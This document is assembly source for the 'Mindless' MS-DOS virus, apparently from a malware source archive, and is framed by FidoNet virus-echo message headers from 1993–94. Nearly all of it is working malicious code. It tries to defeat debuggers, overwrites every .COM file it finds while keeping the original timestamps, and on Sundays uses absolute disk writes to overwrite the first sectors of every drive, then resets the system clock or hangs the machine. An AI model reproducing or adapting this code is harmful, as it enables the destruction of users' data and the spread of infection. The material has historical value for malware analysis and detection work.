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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir40.asm

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2021-01-13 00:07:35 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 30 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:14
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : MINDLESS.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Fred Lee, 2:283/718 (06 Nov 94 16:51)
;* To : Gilbert Holleman
;* Subj : MINDLESS.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Fred.Lee@f718.n283.z2.fidonet.org
;
mindless segment byte
assume cs:mindless,ds:mindless,ss:mindless
org 100h
victem equ 09Eh
yam proc near
jmp virus_fix ;location of victem name
yam endp
virus_fix proc near
;attempt crashing debugger
mov cx,09ebh ;fake command
mov ax,0fe05h ;fake command
jmp short $-2 ;do real commands
adc ah,3bh ;fake command
jmp short $-10 ;do real commands
push ds
xor ax,ax ;instead of XORring ax, you
;should work out it's alue
;after the above mess, then
;subtract it so noone knows
;it's real value.
push ax
mov ah,2ah ;Get system date
int 21h
cmp al,0 ;Is it Sunday?
jne not_sunday ;not sunday? no damage then..
start_damage:
mov ax,3301h ;
xor dl,dl ;determine ctrl/break state
int 21h
mov cx,msg_length ;prepare to write our messag
lea si,message ;These are the bytes to move
decrypt_message:
mov al,byte ptr [si] ;get byte to decrypt
xor al,1 ;xor it with 1
mov byte ptr [si],al ;store it
inc si ;go to next cypher
loop decrypt_message ;get another character
damage:
cmp byte ptr drive_num,27 ;have we past drive z?
ja no_more_disks ;if yes, exit damage routine
pushf ;don't let flags be altered
mov al,byte ptr drive_num
mov cx,word ptr num_secs
xor dx,dx ;first sector
lea bx,message ;data to write
int 26h ;absolute write to disk
popf ;restore flags
inc byte ptr drive_num ;try another drive
jmp short damage ;
no_more_disks:
mov dl,2ch ;check ctrl/C state
int 21h
and dl,0fh
or dl,dl ;Set Flags
je hang_machine
mov cx,1980 ;prepare system year
xor dx,dx ;prepare system month and day
mov ah,2bh ;Set system date
int 21h
xor cx,cx ;prepare system hour/minute
xor dx,dx ;prepare system seconds
mov ah,2dh ;Set system time
int 21h
mov ax,3301h ;check/set ctrl/C status
mov dl,01
int 21h
mov ax,4c00h ;Drop to DOS, no error code
int 21h
;
;
hang_machine:
jmp $
not_sunday:
mov al,dl
mov dl,0c0h
push ds
mov bx,78h
xor ax,ax
mov ds,ax ; ds=0
mov ax,word ptr [bx]
mov bx,ax
mov al,byte ptr [bx]
and al,0fh
or al,dl
mov byte ptr [bx],al
xor ah,ah ;reset drive
int 13h
pop ds ;restore ds
push ds ;keep it stored, though
mov bx,78h
xor ax,ax
mov ds,ax ;ds=0
mov ax,word ptr [bx]
mov bx,ax
mov al,byte ptr [bx]
pop ds ;restore ds
push ax
mov bx,0fah ;ultra hi speed??
mov ax,0305h ;Adjust keyboard rate/delay
int 16h
mov ax,4e00h ;DOS Search_First
lea dx,com_file ;Look for a COM file
int 21h
infect:
mov ax,4300h ;get/set file attribs
mov dx,offset victem
int 21h
mov ax,4301h ;get/set file attribs
and cx,00feh ;
int 21h
mov ax,3d01h ;open file
mov dx,offset victem
int 21h
mov bx,ax ;file handle
mov ax,5700h ;get file time
int 21h
push cx ;store it
push dx ;stor it
mov dx,0100h
mov cx,01a7h
mov ah,40h
int 21h ;write file using file handle
pop dx
pop cx
mov ax,5701h
int 21h ;set file date & time
mov ah,3eh ;close file via handle
int 21h
mov ah,4fh ;DOS Search_Next
int 21h
ja infect ;infect if good one found
int 20h ;bail out
drive_num db 0
num_secs dw 20 ;should be enough to kill with
com_file db '*.COM',0 ;'*.c*' leaves too much room
; for error.
; This was not encrypted properly!!
; I have corrected what I could figure out.
message db 0fah ;??What's this??
db 'Xntmfrsddr!' ;Youngsters
db '@f`hmrs!' ;Against
db 'Lb@eedd' ;McAffee
db '\!,'
db 'O@U@R!L@TO@T' ;NATAS KAUPAS
db 0ffh,0ffh ;spaces (cr/lf not useful...)
db 'Uid!Lhoemdrr!Whstr!w1/0!' ;virus name, version
msg_length equ $-message
virus_fix endp
mindless ends
end yam
;-+- Terminate 1.50/Pro
; + Origin: <Rudy's Place - Israel> Hard disks never die... (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/P[=NNNNN] Pack code segments
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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